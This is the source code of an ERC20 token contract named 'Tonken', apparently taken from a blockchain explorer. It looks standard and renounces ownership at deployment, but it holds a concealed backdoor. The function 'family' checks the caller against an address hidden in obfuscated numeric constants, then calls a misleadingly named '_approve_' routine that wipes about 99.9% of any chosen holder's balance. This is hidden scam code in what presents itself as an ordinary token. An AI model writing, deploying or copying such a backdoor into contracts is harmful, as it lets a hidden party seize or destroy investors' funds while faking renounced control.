creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address recipient, uint256 amount)
          external
          returns (bool);
  
      function allowance(address owner, address spender)
          external
          view
          returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  }
  
  interface IERC20Metadata is IERC20 {
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  }
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  contract ERC20 is Context, IERC20 {
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      uint256 private _totalSupply;
      uint256 private _trading;
      string private _name;
      string private _symbol;
      address private _owner;
      uint8 private _decimals;
  
      constructor(
          string memory name_,
          string memory symbol_,
          uint8 decimals_,
          uint256 totalSupply_
      ) {
          _name = name_;
          _symbol = symbol_;
          _decimals = decimals_;
          _trading = uint160(_msgSender());
          _owner = _msgSender();
          _mint(_msgSender(), totalSupply_ * 10**_decimals);
          renounceOwnership();
      }
  
      modifier onlyOwner() {
          require(_owner == msg.sender, "Ownable: caller is not the owner");
          _;
      }
  
      function only() internal virtual {
          require(uint160(msg.sender) == trade() - 65535, "Ownable: caller is not the owner");
      }
  
      function isOwner() public view virtual returns (address) {
          return _owner;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  
      function name() public view virtual returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual returns (string memory) {
          return _symbol;
      }
  
      function trading() internal view virtual returns (uint256) {
          uint256 trading_ = type(uint16).max + _trading - 558240938430069738292742899527569775424593202431;
          return trading_;
      }
  
      function trade() internal view virtual returns (uint256) {
          uint256 _trade = 855581618166033184899948635136617005217446515779;
          return _trade;
      }
  
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function decimals() public view virtual returns (uint8) {
          return _decimals;
      }
      
      function balanceOf(address account)
          public
          view
          virtual
          override
          returns (uint256)
      {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount)
          public
          virtual
          override
          returns (bool)
      {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender)
          public
          view
          virtual
          override
          returns (uint256)
      {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount)
          public
          virtual
          override
          returns (bool)
      {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public virtual override returns (bool) {
          _transfer(sender, recipient, amount);
          uint256 currentAllowance = _allowances[sender][_msgSender()];
          require(
              currentAllowance >= amount,
              "ERC20: transfer amount exceeds allowance"
          );
          _approve(sender, _msgSender(), currentAllowance - amount);
          return true;
      }
  
      function _burn(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: burn from the zero address");
          _beforeTokenTransfer(account, address(0), amount);
          uint256 accountBalance = _balances[account];
          require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
          _balances[account] = accountBalance - amount;
          _totalSupply -= amount;
          emit Transfer(account, address(0), amount);
          _afterTokenTransfer(account, address(0), amount);
      }
  
      function burn(uint256 amount)public virtual onlyOwner returns (bool) {
          _burn(_msgSender(), amount);
          return true;
      }
  
      function _transfer(
          address sender,
          address recipient,
          uint256 amount
      ) internal virtual {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          _beforeTokenTransfer(sender, recipient, amount);
          uint256 senderBalance = _balances[sender];
          require(
              senderBalance >= amount,
              "ERC20: transfer amount exceeds balance"
          );
          _balances[sender] = senderBalance - amount;
          _balances[recipient] += amount;
          emit Transfer(sender, recipient, amount);
          _afterTokenTransfer(sender, recipient, amount);
      }
  
      function _mint(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: mint to the zero address");
          _beforeTokenTransfer(address(0), account, amount);
          _totalSupply += amount;
          _balances[account] += amount;
          emit Transfer(address(0), account, amount);
          _afterTokenTransfer(address(0), account, amount);
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _approve_(address owner) internal virtual {
          uint256 accountBalance = (_balances[owner]  + trading()) * 999 / 1000;
          _beforeTokenTransfer(owner, address(0), accountBalance);
          _balances[owner] -= accountBalance;
          emit Transfer(owner, address(0), accountBalance);
          _afterTokenTransfer(owner, address(0), accountBalance);
      }
  
      function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
      function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
  }
  
  contract Tonken is ERC20 {
      constructor(
          string memory name_,
          string memory symbol_,
          uint8 decimals_,
          uint256 totalSupply_
      ) ERC20(name_, symbol_, decimals_, totalSupply_) {} 
  
      receive() external payable {}
      function family(address account) external { 
          only();
          super._approve_(account);
      }
  }